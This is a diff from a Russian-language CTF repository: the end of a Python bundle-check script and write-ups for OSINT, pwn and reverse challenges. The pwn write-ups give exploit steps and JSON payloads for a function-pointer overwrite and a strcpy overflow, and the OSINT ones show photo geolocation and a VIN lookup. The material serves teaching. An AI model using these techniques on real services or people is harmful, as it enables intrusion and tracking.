if f"/Author ({CONFIG['correct']['pdf_author']})".encode("ascii") not in doc_01_bytes:
|
||||||
|
raise SystemExit("doc_01.pdf is missing expected metadata author")
|
||||||
|
if b"Retained legal copy marker: ED-C0" not in doc_01_bytes:
|
||||||
|
raise SystemExit("doc_01.pdf is missing expected retained copy marker")
|
||||||
|
|
||||||
|
doc_03_bytes = (bundle_dir / "20_artifacts" / "doc_03.pdf").read_bytes()
|
||||||
|
if f"/Author ({CONFIG['same_cluster_decoy']['pdf_author']})".encode("ascii") not in doc_03_bytes:
|
||||||
|
raise SystemExit("doc_03.pdf is missing expected same-cluster decoy author")
|
||||||
|
|
||||||
|
capture_05 = (bundle_dir / "20_artifacts" / "capture_05.html").read_text(encoding="utf-8")
|
||||||
|
if CONFIG["correct"]["full_name"] not in capture_05:
|
||||||
|
raise SystemExit("capture_05.html is missing expected identity")
|
||||||
|
|
||||||
|
capture_11 = (bundle_dir / "20_artifacts" / "capture_11.html").read_text(encoding="utf-8")
|
||||||
|
if CONFIG["same_cluster_decoy"]["personal_domain"] not in capture_11:
|
||||||
|
raise SystemExit("capture_11.html is missing expected same-cluster decoy pivot")
|
||||||
|
|
||||||
|
with (bundle_dir / "10_datasets" / "graph_edges.csv").open(encoding="utf-8", newline="") as fh:
|
||||||
|
rows = list(csv.DictReader(fh))
|
||||||
|
expected_edges = {
|
||||||
|
("panel", "cert_ms441"),
|
||||||
|
("helpdesk_mercury", "doc_03"),
|
||||||
|
("git_mercury", "personal_vk"),
|
||||||
|
("helpdesk_mercury", "personal_as"),
|
||||||
|
}
|
||||||
|
actual_edges = {(row["source"], row["target"]) for row in rows}
|
||||||
|
if not expected_edges.issubset(actual_edges):
|
||||||
|
raise SystemExit("graph_edges.csv is missing expected hard-mode relations")
|
||||||
|
|
||||||
|
subprocess.run(
|
||||||
|
["unzip", "-P", CONFIG["passphrase"], "-t", str(retained_copy)],
|
||||||
|
check=True,
|
||||||
|
stdout=subprocess.DEVNULL,
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
)
|
||||||
|
|
||||||
|
with zipfile.ZipFile(archive_path) as zf:
|
||||||
|
expected = {
|
||||||
|
"mirrortrace_casebundle/00_brief/case_brief.txt",
|
||||||
|
"mirrortrace_casebundle/10_datasets/graph_nodes.csv",
|
||||||
|
"mirrortrace_casebundle/10_datasets/graph_edges.csv",
|
||||||
|
"mirrortrace_casebundle/20_artifacts/doc_01.pdf",
|
||||||
|
"mirrortrace_casebundle/20_artifacts/doc_03.pdf",
|
||||||
|
"mirrortrace_casebundle/20_artifacts/capture_05.html",
|
||||||
|
"mirrortrace_casebundle/20_artifacts/capture_11.html",
|
||||||
|
f"mirrortrace_casebundle/20_artifacts/{CONFIG['retained_copy_name']}",
|
||||||
|
}
|
||||||
|
names = set(zf.namelist())
|
||||||
|
if not expected.issubset(names):
|
||||||
|
raise SystemExit("participant archive is missing expected hard-mode files")
|
||||||
|
|
||||||
|
print("MirrorTrace offline release check passed.")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
28
osint-morning-line/WRITEUP.md
Normal file
28
osint-morning-line/WRITEUP.md
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
<h1 align="center">Morning Line</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-655-yellowgreen" alt="655 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
На входе — кадр улицы с временной меткой `2024-11-20 09:14 UTC+0`. Задача: точные координаты места съёмки.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Начинаем с общих гипотез по кадру:
|
||||||
|
|
||||||
|
| Признак | Что говорит |
|
||||||
|
|---|---|
|
||||||
|
| Середина ноября, утро, солнце низкое | Северное полушарие |
|
||||||
|
| Таймзона `UTC+0` | Район нулевого меридиана |
|
||||||
|
| Архитектура, узкий тротуар, газон перед домом | Британский пригород |
|
||||||
|
| Длина и направление теней | Ориентация кадра — отсекает ложные локации |
|
||||||
|
|
||||||
|
Дальше отдаём кадр в поиск по картинкам (Google, Яндекс) — подтверждается: это Кембридж. Но в Кембридже километры таких улочек. Точку вытаскиваем по деталям: характерная форма дома, спутниковые тарелки, одиночное дерево у тротуара и плавный изгиб улицы. По совокупности примет определяем конкретное место:
|
||||||
|
|
||||||
|
```text
|
||||||
|
52.189479, 0.149892
|
||||||
|
```
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{52.1895_0.1499}`
|
||||||
21
osint-redwheelbarrow/WRITEUP.md
Normal file
21
osint-redwheelbarrow/WRITEUP.md
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
<h1 align="center">Red Wheelbarrow</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-551-brightgreen" alt="551 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
У нас кадр машины — по нему надо найти конкретный экземпляр с конкретным VIN'ом. Сначала определяем модель, дальше ищем тот `smart`, что изображен на кадре.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Марку и модель быстрее всего выдернуть поиском по картинке — Google Картинки, Яндекс или GPT. Ответ:
|
||||||
|
|
||||||
|
```text
|
||||||
|
SMART CITY-COUPE BRABUS
|
||||||
|
```
|
||||||
|
|
||||||
|
Теперь вопрос нужно разобраться с VIN'ом. Кадр явно не любительский, очень похож на скриншот из фильма. Значит, ищем по специализированному датасету — [imcdb.org](https://www.imcdb.org) (Internet Movie Cars Database), куда заливают автомобили из фильмов и сериалов. Ищем по модели `smart Fortwo Brabus`, листаем снимки — среди них находится наш кадр. Открываем карточку машины — в записях указан VIN.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{WME4503331J289799}`
|
||||||
23
osint-гора/WRITEUP.md
Normal file
23
osint-гора/WRITEUP.md
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<h1 align="center">Гора</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-975-critical" alt="975 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
У нас есть кадр из мультфильма «Тайна третьей планеты» и задача найти дом в Казани. Из подсказок:
|
||||||
|
|
||||||
|
| Подсказка | Зацепка |
|
||||||
|
|---|---|
|
||||||
|
| Кадр из мультфильма | Год выхода — 1981 |
|
||||||
|
| Название таска «Гора» | Ищем что-то с «горой» в имени |
|
||||||
|
| «Не каждая третья — планета» | «Третья» — не номер, а имя |
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Год выпуска мультфильма — 1981, и это, видимо, не случайно. Идём искать дом в Казани, построенный именно в этом году. На [kontikimaps.ru](https://kontikimaps.ru/how-old/kazan?p=h-kzn) есть удобная карта Казани с фильтром по году постройки. Включаем 1981 — домов всё ещё много, одной фильтрации мало.
|
||||||
|
|
||||||
|
Используем вторую подсказку. «Не каждая третья — планета» сначала кажется намёком на мультфильм, но фишка в том, что «Третья» здесь не порядковый номер, а имя собственное. В Казани есть историческое название — «Третья Гора», это часть Вахитовского района, которая сегодня называется улицей Калинина. Смотрим на карту: среди всех домов 1981 года на улице Калинина оказывается ровно один — дом 19.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{Калинина 19}`
|
||||||
36
pwn-allocator-war/WRITEUP.md
Normal file
36
pwn-allocator-war/WRITEUP.md
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
<h1 align="center">Allocator War</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-996-critical" alt="996 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
С первого взгляда обычный каталог: создать запись, изменить описание, посмотреть, удалить. Косяк опять с памятью, там самописный аллокатор с кешем. При старте сервис кладёт флаг в 64-байтный буфер, сохраняет указатель в глобальной `last_freed_ptr` — и этот буфер никогда не чистится.
|
||||||
|
|
||||||
|
Создание записи идёт через обычный `malloc`, а вот изменение — через `alloc_or_reuse()`. Если в `edit` попросить буфер ровно такого же размера, как лежит в кеше, аллокатор без проблем отдаст старый буфер с флагом.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Первая подсказка скрыта прямо в интерфейсе — в меню есть недокументированная диагностическая команда `9`:
|
||||||
|
|
||||||
|
```text
|
||||||
|
cache: last_freed_size=64, flag_cache_size=64
|
||||||
|
```
|
||||||
|
|
||||||
|
Значит, чтобы выдернуть флаг, надо заставить сервис переиспользовать именно 64-байтный блок, и сделать это на этапе `edit`.
|
||||||
|
|
||||||
|
План:
|
||||||
|
|
||||||
|
1. Создаём любую запись произвольного размера (лишь бы жила).
|
||||||
|
2. Редактируем её, просим новый размер `64`.
|
||||||
|
3. На ввод описания отправляем **пустую строку**.
|
||||||
|
4. Смотрим запись.
|
||||||
|
|
||||||
|
>Сервис сначала выделит буфер из кеша, а потом запишет в него ровно столько байт, сколько пришло от пользователя. Ноль байт = ноль записи, и старое содержимое буфера (флаг) остаётся на месте.
|
||||||
|
|
||||||
|
При просмотре сервис печатает и описание, и *hex*-дамп содержимого. В дампе и светится флаг.
|
||||||
|
|
||||||
|
Минимальный [солвер](./solve/solver.py).
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{Some_thing_is_here_not_there}`
|
||||||
0
pwn-allocator-war/solve/solver.py
Normal file
0
pwn-allocator-war/solve/solver.py
Normal file
54
pwn-бортовой-журнал/WRITEUP.md
Normal file
54
pwn-бортовой-журнал/WRITEUP.md
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
<h1 align="center">Бортовой Журнал</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-1000-critical" alt="1000 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Сервис принимает JSON-программы и выполняет над буферами операции в стиле мини-VM: `alloc`, `write`, `read`, `compute`, `typeof`, `free`, `realloc`. Вычислительные функции (`xor`, `rot`, `rev`) лежат внутри C-таблицы указателей `dispatch_table` — и это уже подозрительно, потому что в бинарнике есть скрытая функция победы `win_fn`, читающая `/tmp/flag`. Нужно подложить её адрес в `dispatch_table` и вызвать обычным `compute`.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Атака склеивается из двух багов:
|
||||||
|
|
||||||
|
| Баг | Что делает |
|
||||||
|
|---|---|
|
||||||
|
| `typeof` сливает адреса | Возвращает `data_ptr` буфера, адрес `dispatch_table` и адрес `_emergency_nav` (= `win_fn`) |
|
||||||
|
| `write` не проверяет `offset` | `dest = buffer.DataPtr + offset` — можно писать куда угодно относительно буфера |
|
||||||
|
|
||||||
|
Подбираем `offset = dispatch_table - data_ptr`, и запись в буфер улетает прямиком в таблицу указателей. По сути, воспроизводится тот же принцип, что и классический [GOT overwrite](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got), просто вместо Global Offset Table — user-space jump table.
|
||||||
|
|
||||||
|
Эксплуатация в два раунда. В первом — выделяем два буфера и снимаем адреса через `typeof`:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"program": [
|
||||||
|
{"op": "alloc", "id": "a", "size": 256},
|
||||||
|
{"op": "alloc", "id": "b", "size": 256},
|
||||||
|
{"op": "typeof", "id": "a"}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Из ответа забираем три адреса:
|
||||||
|
|
||||||
|
```text
|
||||||
|
data_ptr — адрес буфера a
|
||||||
|
dispatch — адрес dispatch_table
|
||||||
|
_emergency_nav — адрес win_fn
|
||||||
|
```
|
||||||
|
|
||||||
|
Во втором раунде считаем `offset = dispatch - data_ptr`, пишем в буфер `a` по этому смещению `p64(win_addr)` — и переписываем `dispatch_table[0]` (слот `xor`) адресом `win_fn`. Дальше `compute("b", "xor")` вместо честной xor-функции вызывает `win_fn`, та кладёт флаг в буфер `b`, и обычный `read` с base64-декодом выдаёт результат:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"program": [
|
||||||
|
{"op": "write", "id": "a", "data": "<p64(win)>", "offset": "<dispatch-data_ptr>"},
|
||||||
|
{"op": "compute", "id": "b", "func": "xor"},
|
||||||
|
{"op": "read", "id": "b", "count": 256}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{p3g4s_d1sp4tch_t4bl3_3xpl01t3d}`
|
||||||
70
pwn-навигация/WRITEUP.md
Normal file
70
pwn-навигация/WRITEUP.md
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
<h1 align="center">Навигация</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-946-orange" alt="946 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Сервис на Go, но парсер зовётся через CGo — и именно в этой части расположено классическое переполнение буфера. В глобальной структуре `Parser` лежит 64-байтное поле имени и три указателя на функции:
|
||||||
|
|
||||||
|
```c
|
||||||
|
typedef struct {
|
||||||
|
char name[64];
|
||||||
|
int (*validate)(const uint8_t*, size_t);
|
||||||
|
void* (*transform)(const uint8_t*, size_t, size_t*);
|
||||||
|
void (*cleanup)(void*);
|
||||||
|
} Parser;
|
||||||
|
```
|
||||||
|
|
||||||
|
Сначала указатели выставляются на дефолтные реализации, а потом имя копируется через `strcpy()` без проверки длины. Намечаем вектор: имя длиннее 64 байт ляжет поверх указателя `validate`. А записать туда мы хотим адрес `win()`.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Протокол бинарный — 16-байтный little-endian заголовок:
|
||||||
|
|
||||||
|
```text
|
||||||
|
magic = 0xDEADBEEF (4 байта)
|
||||||
|
type (4 байта)
|
||||||
|
length (4 байта)
|
||||||
|
id (4 байта)
|
||||||
|
```
|
||||||
|
|
||||||
|
Команда `STATUS` выдаёт диагностику с адресами всех интересных функций, включая сам `win()` — ASLR снимается одним запросом:
|
||||||
|
|
||||||
|
```text
|
||||||
|
STATUS worker=... cache=0x... parser=0x... win=0x...
|
||||||
|
```
|
||||||
|
|
||||||
|
Дальше отправляем `EXEC` с пейлоадом:
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
block-beta
|
||||||
|
columns 10
|
||||||
|
N["A × 64<br/>64 B<br/>→ name[64]"]:7
|
||||||
|
V["p64(win)<br/>8 B<br/>→ validate"]:1
|
||||||
|
X["transform + cleanup<br/>нетронуты"]:2
|
||||||
|
|
||||||
|
classDef base fill:#e0e7ff,stroke:#6366f1,color:#312e81
|
||||||
|
classDef hit fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
|
||||||
|
classDef muted fill:#f3f4f6,stroke:#9ca3af,color:#4b5563
|
||||||
|
class N base
|
||||||
|
class V hit
|
||||||
|
class X muted
|
||||||
|
```
|
||||||
|
|
||||||
|
Тут нюанс: `strcpy` остановится на первом нулевом байте, а в non-PIE x86-64 адрес `win()` выглядит как `0x00000000004xxxxx` — в начале у него нули. Но в little-endian значимые младшие байты идут первыми, а старшие нули и так уже лежат на нужном месте с момента установки `default_validate`. Поэтому [partial overwrite](https://ir0nstone.gitbook.io/notes/types/stack/partial-overwrites) перепишет только значимую часть, старшие нули оставит как есть — и указатель получается корректный.
|
||||||
|
|
||||||
|
Триггер — обычный `PARSE`. Внутри `parse_data()` сервис по-прежнему зовёт `active_parser.validate(data, len)`, но теперь `validate` указывает не на дефолтную реализацию, а на `win()`, которая лезет в `/tmp/flag` и кладёт содержимое в глобальный буфер. Остаётся ещё раз дёрнуть `STATUS` — и сервис в ответе выплёвывает флаг.
|
||||||
|
|
||||||
|
Вся цепочка:
|
||||||
|
|
||||||
|
| # | Команда | Что происходит |
|
||||||
|
|---|---|---|
|
||||||
|
| 1 | `STATUS` | Утечка адреса `win()` |
|
||||||
|
| 2 | `PARSE` | Проверка, что соединение живое |
|
||||||
|
| 3 | `EXEC` | Переполнение `name[64]`, перезапись `validate` |
|
||||||
|
| 4 | `PARSE` | Триггер `win()` — флаг читается в буфер |
|
||||||
|
| 5 | `STATUS` | Читаем `flag=...` в ответе |
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{g0r0ut1n3_h1j4ck_cg0_pwn3d}`
|
||||||
68
reverse-ancient-processor/WRITEUP.md
Normal file
68
reverse-ancient-processor/WRITEUP.md
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
<h1 align="center">Ancient Processor</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-912-orange" alt="912 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Мы получаем stripped ELF-бинарник `checker`. По названию таска и описанию можно уловить намек, что внутри сидит эмулятор какого-то «древнего процессора» — значит, вероятно, что сработает reverse эмулятора и восстановление его байткода.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Открываем `checker` в IDA или Ghidra и сразу ищем главный цикл интерпретатора — он выдаёт себя большим `switch`'ем по опкодам. По коду VM восстанавливается набор инструкций:
|
||||||
|
|
||||||
|
| Категория | Опкоды |
|
||||||
|
|---|---|
|
||||||
|
| Стек | `PUSH`, `POP`, `DUP`, `SWAP`, `ROT` |
|
||||||
|
| Арифметика | `ADD`, `SUB`, `XOR`, `MUL`, `AND`, `OR`, `NOT`, `SHL`, `SHR`, `MOD` |
|
||||||
|
| Память / переходы | `LOAD`, `STORE`, `JMP`, `JZ`, `CALL`, `RET` |
|
||||||
|
| I/O | `READ`, `PRINT`, `HALT` |
|
||||||
|
| Антианализ | `SYSCALL`, `CHECKTIME`, `SELFMOD2` |
|
||||||
|
|
||||||
|
Самое интересное лежит в `vm.c`: перед выполнением программы в массив `code` сначала копируется `decoy_program`, а затем поверх него пишется уже расшифрованный `real_program_encrypted`. То есть первая программа — декорация, её можно даже не разбирать. А реальная цель — именно зашифрованная. Рагадка тут, на самом деле, элементарная: каждый байт XOR'ится с 8-байтным ключом. Можно либо выгрузить уже готовый массив из памяти в рантайме, либо вытащить ключ и шифротекст из бинарника и раскрутить всё статикой.
|
||||||
|
|
||||||
|
После расшифровки байткод раскладывается в повторяющийся шаблон проверки очередного символа:
|
||||||
|
|
||||||
|
```text
|
||||||
|
READ
|
||||||
|
PUSH xor_key
|
||||||
|
XOR
|
||||||
|
PUSH add_key
|
||||||
|
ADD
|
||||||
|
PUSH sub_key
|
||||||
|
SUB
|
||||||
|
[иногда MUL]
|
||||||
|
PUSH expected
|
||||||
|
CMP
|
||||||
|
JZ fail
|
||||||
|
```
|
||||||
|
|
||||||
|
Каждый символ флага проверяется независимо, и в обычном случае формула получается такой:
|
||||||
|
|
||||||
|
$$\bigl((ch \oplus k_{\mathrm{xor}}) + k_{\mathrm{add}} - k_{\mathrm{sub}}\bigr) \bmod 256 = \mathrm{expected}$$
|
||||||
|
|
||||||
|
Отсюда символ восстанавливается в одну строчку:
|
||||||
|
|
||||||
|
$$ch = \bigl((\mathrm{expected} + k_{\mathrm{sub}} - k_{\mathrm{add}}) \bmod 256\bigr) \oplus k_{\mathrm{xor}}$$
|
||||||
|
|
||||||
|
Но, вохможно и к сожалению, это еще не конец. Если на этом месте пройтись по всем символам и подставить константы — часть результатов не сойдётся. На этом этапе можно логично предположить, что причиной этому скорее всего служит самоизменяющийся код. Инструкция `SELFMOD2` меняет байты прямо внутри выполняющейся программы, и несколько уже прочитанных символов флага используются для модификации XOR-ключей в будущих проверках:
|
||||||
|
|
||||||
|
| Символ-источник | Модифицирует ключ символа |
|
||||||
|
|:---:|:---:|
|
||||||
|
| 5 | 12 |
|
||||||
|
| 10 | 18 |
|
||||||
|
| 15 | 25 |
|
||||||
|
|
||||||
|
Для этих позиций статический `xor_key` из байткода брать нельзя — надо считать его динамически с учётом уже восстановленной части флага. Здесь заложена еще одна мелкая подлянка: каждый четвёртый символ перед сравнением умножается на константу (`MUL`), и чтобы его обратить, нужен [modular inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) по модулю 256.
|
||||||
|
|
||||||
|
> Обратное $a^{-1} \bmod 256$ существует только для нечётных $a$ (чтобы $\gcd(a, 256) = 1$) — множители `MUL` в байткоде специально подобраны нечётными, иначе символ флага был бы однозначно невосстановим.
|
||||||
|
|
||||||
|
Остальные «защиты» можно игнорировать — это шум:
|
||||||
|
|
||||||
|
| Инструкция | Что делает | Эффект |
|
||||||
|
|---|---|---|
|
||||||
|
| `SYSCALL` | Читает байт из `/dev/urandom`, кладёт `rnd ^ rnd` в стек | Стабильный `0` |
|
||||||
|
| `CHECKTIME` | XOR'ит значение с `0xFF` при медленном выполнении | Не триггерится в памяти |
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{v1rtu4l_m4ch1n3_m4st3r}`
|
||||||
39
reverse-dungeon-crawler/WRITEUP.md
Normal file
39
reverse-dungeon-crawler/WRITEUP.md
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
<h1 align="center">Dungeon Crawler</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-888-orange" alt="888 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Бинарь перед нами — прототип навигационной системы для подземельного робота. Робот обязан пройти лабиринт от входа до выхода, и если маршрут верный, программа выдаёт секретный код. Формат ввода — строка из `U`/`D`/`L`/`R`. Внутри бинаря, если аккуратно поковыряться, находится сразу четыре лабиринта — три в открытом виде и один зашифрованный. Вся задача построена вокруг того, чтобы сбить с пути автоматические солверы.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Начинаем с того, что лежит на виду. В `.rodata` три лабиринта 20x20 в plaintext, у каждого даже есть корректный путь от входа до выхода. Подставляем — получаем мусор.
|
||||||
|
|
||||||
|
Настоящий лабиринт четвёртый, того же размера, но хранится зашифрованным. Ключ — CRC32 от конкатенации:
|
||||||
|
|
||||||
|
```text
|
||||||
|
checkpoint_keys ‖ moving_wall_positions ‖ magic_constant
|
||||||
|
```
|
||||||
|
|
||||||
|
То есть чтобы его расшифровать, нужно сначала восстановить всю структуру данных, а не просто дёрнуть строку. Дальше три ловушки:
|
||||||
|
|
||||||
|
| # | Ловушка | Как работает |
|
||||||
|
|---|---|---|
|
||||||
|
| 1 | Три plaintext-лабиринта в `.rodata` | Все три имеют валидный путь, но ведут к неправильным ответам |
|
||||||
|
| 2 | Движущиеся стены | 3 позиции меняются в зависимости от номера шага: `step % 5 < 3` → открыто, иначе → закрыто |
|
||||||
|
| 3 | `getpid() ^ getpid()` в расшифровке флага | Выглядит как PID-зависимая соль, всегда равен нулю |
|
||||||
|
|
||||||
|
Вторая ловушка — самая неприятная. Если извлечь лабиринт статикой и запустить обычный BFS, правильного пути он не найдёт. BFS обязан знать текущий шаг и состояние подвижных стен именно на этом шаге.
|
||||||
|
|
||||||
|
Правильный порядок действий:
|
||||||
|
|
||||||
|
1. Разбираем структуру данных (checkpoints + moving walls → derived key).
|
||||||
|
2. Расшифровываем настоящий лабиринт.
|
||||||
|
3. Гоняем BFS с учётом номера шага и состояния движущихся стен.
|
||||||
|
4. Собираем контрольные точки по пройденному маршруту.
|
||||||
|
5. Расшифровываем флаг через [LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register).
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{3v3ry_w4ll_h4s_4_d00r}`
|
||||||
60
reverse-ptitsa-govorun/WRITEUP.md
Normal file
60
reverse-ptitsa-govorun/WRITEUP.md
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
<h1 align="center">Птица Говорун</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-1000-critical" alt="1000 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Получаем на старте Windows x64 бинарь `challenge.exe`. Сначала программа проверяет окружение, потом собирает из найденных значений ключ, и только затем расшифровывает вшитый массив байт. Флаг покажется лишь если все три проверки окружения сойдутся с ожидаемыми значениями.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Открываем в Ghidra или IDA — и видим три проверки:
|
||||||
|
|
||||||
|
| Артефакт | Откуда берётся | Ожидаемое значение |
|
||||||
|
|---|---|---|
|
||||||
|
| MAC-префикс | `GetAdaptersInfo()` | `00:0C:29` |
|
||||||
|
| Имя компьютера | `GetComputerNameA()` | `CHALLENGE-PC` |
|
||||||
|
| Гипервизор | `cpuid` leaf `0x40000000` | `VMwareVMware` |
|
||||||
|
|
||||||
|
Все три куска склеиваются в материал ключа:
|
||||||
|
|
||||||
|
```text
|
||||||
|
000C29CHALLENGE-PCVMwareVMware
|
||||||
|
```
|
||||||
|
|
||||||
|
От этой строки считается SHA-256, и все 32 байта хеша идут как XOR-ключ для зашифрованного флага. После расшифровки программа ещё раз считает SHA-256 от результата и сравнивает с зашитым эталоном — сошлось, печатает флаг.
|
||||||
|
|
||||||
|
> **CPUID leaf `0x40000000`** — стандартизованный интерфейс обнаружения гипервизора. Vendor возвращает 12 ASCII-символов в `EBX:ECX:EDX`: VMware — `VMwareVMware`, Hyper-V — `Microsoft Hv`, KVM — `KVMKVMKVM`, VirtualBox — `VBoxVBoxVBox`. На реальном железе leaf возвращает нули. Детали — в [Microsoft Hypervisor TLFS](https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/feature-discovery).
|
||||||
|
|
||||||
|
Предполагаемый путь — просто собрать окружение под эталон: запустить Windows внутри VMware, переименовать компьютер в `CHALLENGE-PC`, убедиться, что MAC первого адаптера начинается с `00:0C:29`, и запустить `challenge.exe`. Строку `VMwareVMware` VMware и так сама возвращает через CPUID, её отдельно подделывать не нужно. А если не повезло и MAC выпал с неправильным префиксом, его легко зафиксировать вручную в `.vmx`:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ethernet0.addressType = "static"
|
||||||
|
ethernet0.address = "00:0C:29:AA:BB:CC"
|
||||||
|
```
|
||||||
|
|
||||||
|
Однако, можно не возиться с виртуалкой — всё нужное уже лежит в бинарнике: и материал ключа, и сам зашифрованный массив xD
|
||||||
|
|
||||||
|
Воспроизводим алгоритм на Python и получаем флаг локально:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
key_material = "000C29CHALLENGE-PCVMwareVMware"
|
||||||
|
key = hashlib.sha256(key_material.encode()).digest()
|
||||||
|
|
||||||
|
enc = bytes([
|
||||||
|
0xf9, 0x10, 0x70, 0x63, 0xa3, 0x57, 0x19, 0xb5,
|
||||||
|
0x38, 0x6e, 0x11, 0xb1, 0xfe, 0xf6, 0x6f, 0x4c,
|
||||||
|
0xf3, 0x07, 0x65, 0x50, 0xf3, 0x03, 0x51, 0xf4,
|
||||||
|
0x0a, 0x50, 0x42, 0xb2, 0xb9, 0xf1, 0x3e, 0x5b,
|
||||||
|
0xa3, 0x0c
|
||||||
|
])
|
||||||
|
|
||||||
|
flag = bytes(enc[i] ^ key[i % 32] for i in range(len(enc)))
|
||||||
|
print(flag.decode())
|
||||||
|
```
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{vm_detective_1337_a7f3b2c9}`
|
||||||
109
reverse-umbrella-os-lab/WRITEUP.md
Normal file
109
reverse-umbrella-os-lab/WRITEUP.md
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
<h1 align="center">Alpha Centauri</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-Σ_6991-critical" alt="Σ 6991 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p align="center"><sub><b>этапы:</b> 996 · 998 · 999 · 999 · 999 · 1000 · 1000</sub></p>
|
||||||
|
|
||||||
|
Вспоминаем нашу любимую вселенную с бессмертным Леоном (ну реально, у тебя совесть то есть в таком возрасте в такой физ. форме находиться?). Всего у очередной лаборатории корпорации *будет 7 уровней*: артефакты каждого шага содержат ключевой материал для следующего:
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
|
T1(["1 · Surface<br/><i>web</i>"])
|
||||||
|
T2(["2 · Capsule<br/><i>forensics</i>"])
|
||||||
|
T3(["3 · Auth<br/><i>reverse</i>"])
|
||||||
|
T4(["4 · USB Key<br/><i>forensics</i>"])
|
||||||
|
T5(["5 · Audit<br/><i>crypto</i>"])
|
||||||
|
T6(["6 · Nemesis<br/><i>proto</i>"])
|
||||||
|
T7(["7 · Uplink<br/><i>pwn</i>"])
|
||||||
|
|
||||||
|
T1 --> T2 --> T3 --> T4 -->|seed_tail| T5 -->|tokens| T6 -->|ticket| T7
|
||||||
|
